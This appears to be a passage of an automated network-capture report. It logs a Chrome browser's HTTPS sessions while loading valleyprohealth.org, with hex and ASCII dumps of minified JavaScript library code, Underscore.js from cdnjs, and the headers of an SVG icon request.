2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 64 20 30 2c 73 2e 5f 5f 65 21 3d 6f 26 26 46 28 73 29 2c 73 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 76 61 72 20 74 2c 69 3b 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 65 2e 5f 5f 29 26 26 6e 75 6c 6c 21 3d 65 2e 5f 5f 63 29 7b 66 6f 72 28 65 2e 5f 5f 65 3d 65 2e 5f 5f 63 2e 62 61 73 65 3d 6e 75 6c 6c 2c 74 3d 30 3b 74 3c 65 2e 5f 5f 6b 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 69 3d 65 2e 5f 5f 6b 5b 74 5d 29 26 26 6e 75 6c 6c 21 3d 69 2e 5f 5f 65 29 7b 65 2e 5f 5f 65 3d 65 2e 5f 5f 63 2e 62 61 73 65 3d 69 2e 5f 5f 65 3b 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 46 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 29 7b 28 21 65 2e 5f 5f 64 26 26 28 65 2e 5f 5f 64 3d 21 30 29 26 26 6f 2e 70 75 73 68 28 65 29 26 26 21 6b 2e 5f 5f 72 2b Data Ascii: d 0,s.__e!=o&&F(s),s}function F(e){var t,i;if(null!=(e=e.__)&&null!=e.__c){for(e.__e=e.__c.base=null,t=0;t<e.__k.length;t++)if(null!=(i=e.__k[t])&&null!=i.__e){e.__e=e.__c.base=i.__e;break}return F(e)}}function w(e){(!e.__d&&(e.__d=!0)&&o.push(e)&&!k.__r+
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 73 2c 6e 2e 6b 65 79 2c 6e 2e 72 65 66 3f 6e 2e 72 65 66 3a 6e 75 6c 6c 2c 6e 2e 5f 5f 76 29 3a 6e 29 3f 28 6e 2e 5f 5f 3d 65 2c 6e 2e 5f 5f 62 3d 65 2e 5f 5f 62 2b 31 2c 72 3d 78 28 6e 2c 69 2c 6f 3d 73 2b 75 2c 64 29 2c 6e 2e 5f 5f 69 3d 72 2c 61 3d 6e 75 6c 6c 2c 2d 31 21 3d 3d 72 26 26 28 64 2d 2d 2c 28 61 3d 69 5b 72 5d 29 26 26 28 61 2e 5f 5f 75 7c 3d 31 33 31 30 37 32 29 29 2c 6e 75 6c 6c 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 61 2e 5f 5f 76 3f 28 2d 31 3d 3d 72 26 26 75 2d 2d 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 2e 74 79 70 65 26 26 28 6e 2e 5f 5f 75 7c 3d 36 35 35 33 36 29 29 3a 72 21 3d 3d 6f 26 26 28 72 3d 3d 3d 6f 2b 31 3f 75 2b 2b 3a 72 3e 6f 3f 64 3e 6c 2d 6f 3f 75 2b 3d 72 2d 6f 3a 75 2d 2d 3a 75 3d 72 3c 6f 26 26 72 Data Ascii: s,n.key,n.ref?n.ref:null,n.__v):n)?(n.__=e,n.__b=e.__b+1,r=x(n,i,o=s+u,d),n.__i=r,a=null,-1!==r&&(d--,(a=i[r])&&(a.__u\|=131072)),null==a\|\|null===a.__v?(-1==r&&u--,"function"!=typeof n.type&&(n.__u\|=65536)):r!==o&&(r===o+1?u++:r>o?d>l-o?u+=r-o:u--:u=r<o&&r
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 29 73 26 26 69 5b 74 5d 3d 3d 3d 73 5b 74 5d 7c 7c 44 28 65 2e 73 74 79 6c 65 2c 74 2c 69 5b 74 5d 29 7d 65 6c 73 65 20 69 66 28 22 6f 22 3d 3d 3d 74 5b 30 5d 26 26 22 6e 22 3d 3d 3d 74 5b 31 5d 29 61 3d 74 21 3d 3d 28 74 3d 74 2e 72 65 70 6c 61 63 65 28 2f 28 50 6f 69 6e 74 65 72 43 61 70 74 75 72 65 29 24 7c 43 61 70 74 75 72 65 24 2f 69 2c 22 24 31 22 29 29 2c 74 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 69 6e 20 65 3f 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 6c 69 63 65 28 32 29 3a 74 2e 73 6c 69 63 65 28 32 29 2c 65 2e 6c 7c 7c 28 65 2e 6c 3d 7b 7d 29 2c 65 2e 6c 5b 74 2b 61 5d 3d 69 2c 69 3f 73 3f 69 2e 75 3d 73 2e 75 3a 28 69 2e 75 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 61 Data Ascii: )s&&i[t]===s[t]\|\|D(e.style,t,i[t])}else if("o"===t[0]&&"n"===t[1])a=t!==(t=t.replace(/(PointerCapture)$\|Capture$/i,"$1")),t=t.toLowerCase()in e?t.toLowerCase().slice(2):t.slice(2),e.l\|\|(e.l={}),e.l[t+a]=i,i?s?i.u=s.u:(i.u=Date.now(),e.addEventListener(t,a
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 73 3d 68 2e 73 74 61 74 65 29 2c 6e 75 6c 6c 21 3d 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 26 26 28 68 2e 5f 5f 73 3d 3d 68 2e 73 74 61 74 65 26 26 28 68 2e 5f 5f 73 3d 67 28 7b 7d 2c 68 2e 5f 5f 73 29 29 2c 67 28 68 2e 5f 5f 73 2c 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 28 5f 2c 68 2e 5f 5f 73 29 29 29 2c 62 3d 68 2e 70 72 6f 70 73 2c 41 3d 68 2e 73 74 61 74 65 2c 68 2e 5f 5f 76 3d 74 2c 70 29 6e 75 6c 6c 3d 3d 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 26 26 6e 75 6c 6c 21 3d 68 2e 63 6f 6d 70 6f 6e 65 6e 74 57 69 6c 6c 4d 6f 75 6e 74 26 26 68 2e 63 6f 6d 70 6f 6e 65 6e 74 57 69 6c 6c 4d 6f 75 6e 74 28 29 2c 6e 75 6c 6c 21 3d 68 2e 63 6f 6d 70 Data Ascii: s=h.state),null!=T.getDerivedStateFromProps&&(h.__s==h.state&&(h.__s=g({},h.__s)),g(h.__s,T.getDerivedStateFromProps(_,h.__s))),b=h.props,A=h.state,h.__v=t,p)null==T.getDerivedStateFromProps&&null!=h.componentWillMount&&h.componentWillMount(),null!=h.comp
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 3a 75 29 3f 44 3a 5b 44 5d 2c 74 2c 69 2c 73 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 64 29 2c 68 2e 62 61 73 65 3d 74 2e 5f 5f 65 2c 74 2e 5f 5f 75 26 3d 2d 31 36 31 2c 68 2e 5f 5f 68 2e 6c 65 6e 67 74 68 26 26 72 2e 70 75 73 68 28 68 29 2c 45 26 26 28 68 2e 5f 5f 45 3d 68 2e 5f 5f 3d 6e 75 6c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 2e 5f 5f 76 3d 6e 75 6c 6c 2c 63 7c 7c 6e 75 6c 6c 21 3d 6f 3f 28 74 2e 5f 5f 65 3d 6c 2c 74 2e 5f 5f 75 7c 3d 63 3f 31 36 30 3a 33 32 2c 6f 5b 6f 2e 69 6e 64 65 78 4f 66 28 6c 29 5d 3d 6e 75 6c 6c 29 3a 28 74 2e 5f 5f 65 3d 69 2e 5f 5f 65 2c 74 2e 5f 5f 6b 3d 69 2e 5f 5f 6b 29 2c 6e 2e 5f 5f 65 28 65 2c 74 2c 69 29 7d 65 6c 73 65 20 6e 75 6c 6c 3d 3d 6f 26 26 74 2e 5f 5f 76 3d 3d 3d 69 2e 5f 5f Data Ascii: rops.children:u)?D:[D],t,i,s,a,o,r,l,c,d),h.base=t.__e,t.__u&=-161,h.__h.length&&r.push(h),E&&(h.__E=h.__=null)}catch(e){t.__v=null,c\|\|null!=o?(t.__e=l,t.__u\|=c?160:32,o[o.indexOf(l)]=null):(t.__e=i.__e,t.__k=i.__k),n.__e(e,t,i)}else null==o&&t.__v===i.__
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 68 74 6d 6c 3d 3d 3d 70 2e 5f 5f 68 74 6d 6c 7c 7c 68 2e 5f 5f 68 74 6d 6c 3d 3d 3d 65 2e 69 6e 6e 65 72 48 54 4d 4c 29 7c 7c 28 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 68 2e 5f 5f 68 74 6d 6c 29 2c 74 2e 5f 5f 6b 3d 5b 5d 3b 65 6c 73 65 20 69 66 28 70 26 26 28 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 29 2c 43 28 65 2c 66 28 67 29 3f 67 3a 5b 67 5d 2c 74 2c 69 2c 6e 2c 61 26 26 22 66 6f 72 65 69 67 6e 4f 62 6a 65 63 74 22 21 3d 3d 46 2c 6f 2c 72 2c 6f 3f 6f 5b 30 5d 3a 69 2e 5f 5f 6b 26 26 45 28 69 2c 30 29 2c 6c 2c 63 29 2c 6e 75 6c 6c 21 3d 6f 29 66 6f 72 28 64 3d 6f 2e 6c 65 6e 67 74 68 3b 64 2d 2d 3b 29 6e 75 6c 6c 21 3d 6f 5b 64 5d 26 26 62 28 6f 5b 64 5d 29 3b 6c 7c 7c 28 64 3d 22 76 61 6c 75 65 22 2c 76 6f 69 64 20 30 21 3d 3d 6d 26 26 28 6d 21 3d 3d Data Ascii: html===p.__html\|\|h.__html===e.innerHTML)\|\|(e.innerHTML=h.__html),t.__k=[];else if(p&&(e.innerHTML=""),C(e,f(g)?g:[g],t,i,n,a&&"foreignObject"!==F,o,r,o?o[0]:i.__k&&E(i,0),l,c),null!=o)for(d=o.length;d--;)null!=o[d]&&b(o[d]);l\|\|(d="value",void 0!==m&&(m!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49824	104.17.24.14	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:26 UTC	569	OUT	GET /ajax/libs/underscore.js/1.8.3/underscore-min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:26 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:26 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb04015-4041" Last-Modified: Mon, 04 May 2020 16:17:25 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 13525 Expires: Mon, 14 Apr 2025 12:44:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FlXCduFEL9OrGdF%2BM6qzqvdr8sG87qvqyYRZPEY3uPm%2FAIl8sgXLZY3eEL%2Fmptk7oV%2FU4fHJhgM0nZ7OidRzlm6bLxqRdq8DndWbt%2FuloI5BNQPLtUyFYJSGMuNkjUaohZehvmlJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87962f48ddab0ad3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 12:44:26 UTC	406	IN	Data Raw: 34 30 34 31 0d 0a 2f 2f 20 20 20 20 20 55 6e 64 65 72 73 63 6f 72 65 2e 6a 73 20 31 2e 38 2e 33 0a 2f 2f 20 20 20 20 20 68 74 74 70 3a 2f 2f 75 6e 64 65 72 73 63 6f 72 65 6a 73 2e 6f 72 67 0a 2f 2f 20 20 20 20 20 28 63 29 20 32 30 30 39 2d 32 30 31 35 20 4a 65 72 65 6d 79 20 41 73 68 6b 65 6e 61 73 2c 20 44 6f 63 75 6d 65 6e 74 43 6c 6f 75 64 20 61 6e 64 20 49 6e 76 65 73 74 69 67 61 74 69 76 65 20 52 65 70 6f 72 74 65 72 73 20 26 20 45 64 69 74 6f 72 73 0a 2f 2f 20 20 20 20 20 55 6e 64 65 72 73 63 6f 72 65 20 6d 61 79 20 62 65 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: 4041// Underscore.js 1.8.3// http://underscorejs.org// (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors// Underscore may be freely distributed under the MIT license.(function(){function n(n){function
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 2c 63 3d 6e 3e 30 3f 30 3a 61 2d 31 3b 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3c 33 26 26 28 75 3d 72 5b 6f 3f 6f 5b 63 5d 3a 63 5d 2c 63 2b 3d 6e 29 2c 74 28 72 2c 65 2c 75 2c 6f 2c 63 2c 61 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 72 3d 78 28 72 2c 65 29 3b 66 6f 72 28 76 61 72 20 75 3d 4f 28 74 29 2c 69 3d 6e 3e 30 3f 30 3a 75 2d 31 3b 69 3e 3d 30 26 26 75 3e 69 3b 69 2b 3d 6e 29 69 66 28 72 28 74 5b 69 5d 2c 69 2c 74 29 29 72 65 74 75 72 6e 20 69 3b 72 65 74 75 72 6e 2d 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 75 2c 69 29 7b 76 61 72 20 6f 3d 30 2c 61 3d 4f 28 65 29 3b Data Ascii: ,c=n>0?0:a-1;return arguments.length<3&&(u=r[o?o[c]:c],c+=n),t(r,e,u,o,c,a)}}function t(n){return function(t,r,e){r=x(r,e);for(var u=O(t),i=n>0?0:u-1;i>=0&&u>i;i+=n)if(r(t[i],i,t))return i;return-1}}function r(n,t,r){return function(e,u,i){var o=0,a=O(e);
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 74 2c 72 2c 65 2c 75 2c 69 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 6d 2e 69 64 65 6e 74 69 74 79 3a 6d 2e 69 73 46 75 6e 63 74 69 6f 6e 28 6e 29 3f 62 28 6e 2c 74 2c 72 29 3a 6d 2e 69 73 4f 62 6a 65 63 74 28 6e 29 3f 6d 2e 6d 61 74 63 68 65 72 28 6e 29 3a 6d 2e 70 72 6f 70 65 72 74 79 28 6e 29 7d 3b 6d 2e 69 74 65 72 61 74 65 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 78 28 6e 2c 74 2c 31 2f 30 29 7d 3b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: eturn n.call(t,r,e,u,i)}}return function(){return n.apply(t,arguments)}},x=function(n,t,r){return null==n?m.identity:m.isFunction(n)?b(n,t,r):m.isObject(n)?m.matcher(n):m.property(n)};m.iteratee=function(n,t){return x(n,t,1/0)};var _=function(n,t){return
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 61 74 65 28 78 28 74 29 29 2c 72 29 7d 2c 6d 2e 65 76 65 72 79 3d 6d 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 3d 21 6b 28 6e 29 26 26 6d 2e 6b 65 79 73 28 6e 29 2c 75 3d 28 65 7c 7c 6e 29 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 75 3e 69 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 65 3f 65 5b 69 5d 3a 69 3b 69 66 28 21 74 28 6e 5b 6f 5d 2c 6f 2c 6e 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 2c 6d 2e 73 6f 6d 65 3d 6d 2e 61 6e 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 3d 21 6b 28 6e 29 26 26 6d 2e 6b 65 79 73 28 6e 29 2c 75 3d 28 65 7c 7c 6e 29 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 75 3e 69 3b 69 2b 2b 29 7b 76 61 Data Ascii: ate(x(t)),r)},m.every=m.all=function(n,t,r){t=x(t,r);for(var e=!k(n)&&m.keys(n),u=(e\|\|n).length,i=0;u>i;i++){var o=e?e[i]:i;if(!t(n[o],o,n))return!1}return!0},m.some=m.any=function(n,t,r){t=x(t,r);for(var e=!k(n)&&m.keys(n),u=(e\|\|n).length,i=0;u>i;i++){va
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 7c 7c 72 3f 28 6b 28 6e 29 7c 7c 28 6e 3d 6d 2e 76 61 6c 75 65 73 28 6e 29 29 2c 6e 5b 6d 2e 72 61 6e 64 6f 6d 28 6e 2e 6c 65 6e 67 74 68 2d 31 29 5d 29 3a 6d 2e 73 68 75 66 66 6c 65 28 6e 29 2e 73 6c 69 63 65 28 30 2c 4d 61 74 68 2e 6d 61 78 28 30 2c 74 29 29 7d 2c 6d 2e 73 6f 72 74 42 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 3d 78 28 74 2c 72 29 2c 6d 2e 70 6c 75 63 6b 28 6d 2e 6d 61 70 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 65 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 6e 2c 69 6e 64 65 78 3a 72 2c 63 72 69 74 65 72 69 61 3a 74 28 6e 2c 72 2c 65 29 7d 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 6e 2e 63 72 69 74 65 72 Data Ascii: ){return null==t\|\|r?(k(n)\|\|(n=m.values(n)),n[m.random(n.length-1)]):m.shuffle(n).slice(0,Math.max(0,t))},m.sortBy=function(n,t,r){return t=x(t,r),m.pluck(m.map(n,function(n,r,e){return{value:n,index:r,criteria:t(n,r,e)}}).sort(function(n,t){var r=n.criter
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 7c 7c 30 2c 61 3d 4f 28 6e 29 3b 61 3e 6f 3b 6f 2b 2b 29 7b 76 61 72 20 63 3d 6e 5b 6f 5d 3b 69 66 28 6b 28 63 29 26 26 28 6d 2e 69 73 41 72 72 61 79 28 63 29 7c 7c 6d 2e 69 73 41 72 67 75 6d 65 6e 74 73 28 63 29 29 29 7b 74 7c 7c 28 63 3d 53 28 63 2c 74 2c 72 29 29 3b 76 61 72 20 66 3d 30 2c 6c 3d 63 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 75 2e 6c 65 6e 67 74 68 2b 3d 6c 3b 6c 3e 66 3b 29 75 5b 69 2b 2b 5d 3d 63 5b 66 2b 2b 5d 7d 65 6c 73 65 20 72 7c 7c 28 75 5b 69 2b 2b 5d 3d 63 29 7d 72 65 74 75 72 6e 20 75 7d 3b 6d 2e 66 6c 61 74 74 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 53 28 6e 2c 74 2c 21 31 29 7d 2c 6d 2e 77 69 74 68 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 Data Ascii: =[],i=0,o=e\|\|0,a=O(n);a>o;o++){var c=n[o];if(k(c)&&(m.isArray(c)\|\|m.isArguments(c))){t\|\|(c=S(c,t,r));var f=0,l=c.length;for(u.length+=l;l>f;)u[i++]=c[f++]}else r\|\|(u[i++]=c)}return u};m.flatten=function(n,t){return S(n,t,!1)},m.without=function(n){return
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 3d 72 28 2d 31 2c 6d 2e 66 69 6e 64 4c 61 73 74 49 6e 64 65 78 29 2c 6d 2e 72 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 6e 75 6c 6c 3d 3d 74 26 26 28 74 3d 6e 7c 7c 30 2c 6e 3d 30 29 2c 72 3d 72 7c 7c 31 3b 66 6f 72 28 76 61 72 20 65 3d 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 63 65 69 6c 28 28 74 2d 6e 29 2f 72 29 2c 30 29 2c 75 3d 41 72 72 61 79 28 65 29 2c 69 3d 30 3b 65 3e 69 3b 69 2b 2b 2c 6e 2b 3d 72 29 75 5b 69 5d 3d 6e 3b 72 65 74 75 72 6e 20 75 7d 3b 76 61 72 20 45 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 65 2c 75 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 72 2c 75 29 3b 76 61 72 20 69 3d 6a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 2c 6f 3d 6e 2e 61 Data Ascii: =r(-1,m.findLastIndex),m.range=function(n,t,r){null==t&&(t=n\|\|0,n=0),r=r\|\|1;for(var e=Math.max(Math.ceil((t-n)/r),0),u=Array(e),i=0;e>i;i++,n+=r)u[i]=n;return u};var E=function(n,t,r,e,u){if(!(e instanceof t))return n.apply(r,u);var i=j(n.prototype),o=n.a
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 75 29 2c 6f 7c 7c 28 65 3d 75 3d 6e 75 6c 6c 29 7d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 6d 2e 6e 6f 77 28 29 3b 61 7c 7c 72 2e 6c 65 61 64 69 6e 67 21 3d 3d 21 31 7c 7c 28 61 3d 66 29 3b 76 61 72 20 6c 3d 74 2d 28 66 2d 61 29 3b 72 65 74 75 72 6e 20 65 3d 74 68 69 73 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2c 30 3e 3d 6c 7c 7c 6c 3e 74 3f 28 6f 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 6e 75 6c 6c 29 2c 61 3d 66 2c 69 3d 6e 2e 61 70 70 6c 79 28 65 2c 75 29 2c 6f 7c 7c 28 65 3d 75 3d 6e 75 6c 6c 29 29 3a 6f 7c 7c 72 2e 74 72 61 69 6c 69 6e 67 3d 3d 3d 21 31 7c 7c 28 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 63 2c 6c 29 29 2c 69 7d 7d 2c 6d 2e 64 65 62 6f 75 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 Data Ascii: u),o\|\|(e=u=null)};return function(){var f=m.now();a\|\|r.leading!==!1\|\|(a=f);var l=t-(f-a);return e=this,u=arguments,0>=l\|\|l>t?(o&&(clearTimeout(o),o=null),a=f,i=n.apply(e,u),o\|\|(e=u=null)):o\|\|r.trailing===!1\|\|(o=setTimeout(c,l)),i}},m.debounce=function(n,t
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 61 6c 75 65 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 6d 2e 6b 65 79 73 28 6e 29 2c 72 3d 74 2e 6c 65 6e 67 74 68 2c 65 3d 41 72 72 61 79 28 72 29 2c 75 3d 30 3b 72 3e 75 3b 75 2b 2b 29 65 5b 75 5d 3d 6e 5b 74 5b 75 5d 5d 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 2e 6d 61 70 4f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 2c 75 3d 6d 2e 6b 65 79 73 28 6e 29 2c 69 3d 75 2e 6c 65 6e 67 74 68 2c 6f 3d 7b 7d 2c 61 3d 30 3b 69 3e 61 3b 61 2b 2b 29 65 3d 75 5b 61 5d 2c 6f 5b 65 5d 3d 74 28 6e 5b 65 5d 2c 65 2c 6e 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 6d 2e 70 61 69 72 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 6d 2e 6b 65 79 73 28 6e 29 Data Ascii: alues=function(n){for(var t=m.keys(n),r=t.length,e=Array(r),u=0;r>u;u++)e[u]=n[t[u]];return e},m.mapObject=function(n,t,r){t=x(t,r);for(var e,u=m.keys(n),i=u.length,o={},a=0;i>a;a++)e=u[a],o[e]=t(n[e],e,n);return o},m.pairs=function(n){for(var t=m.keys(n)
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 29 72 65 74 75 72 6e 21 65 3b 66 6f 72 28 76 61 72 20 75 3d 4f 62 6a 65 63 74 28 6e 29 2c 69 3d 30 3b 65 3e 69 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 72 5b 69 5d 3b 69 66 28 74 5b 6f 5d 21 3d 3d 75 5b 6f 5d 7c 7c 21 28 6f 20 69 6e 20 75 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 65 29 7b 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 20 30 21 3d 3d 6e 7c 7c 31 2f 6e 3d 3d 3d 31 2f 74 3b 69 66 28 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 75 6c 6c 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 3b 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 6e 3d 6e 2e 5f 77 72 61 70 70 65 64 29 2c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 74 3d 74 2e 5f 77 72 61 70 70 65 64 29 3b 76 61 72 20 Data Ascii: )return!e;for(var u=Object(n),i=0;e>i;i++){var o=r[i];if(t[o]!==u[o]\|\|!(o in u))return!1}return!0};var N=function(n,t,r,e){if(n===t)return 0!==n\|\|1/n===1/t;if(null==n\|\|null==t)return n===t;n instanceof m&&(n=n._wrapped),t instanceof m&&(t=t._wrapped);var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49827	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:26 UTC	627	OUT	GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:27 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:27 GMT Content-Type: image/svg+xml Content-Length: 1562 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-61a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
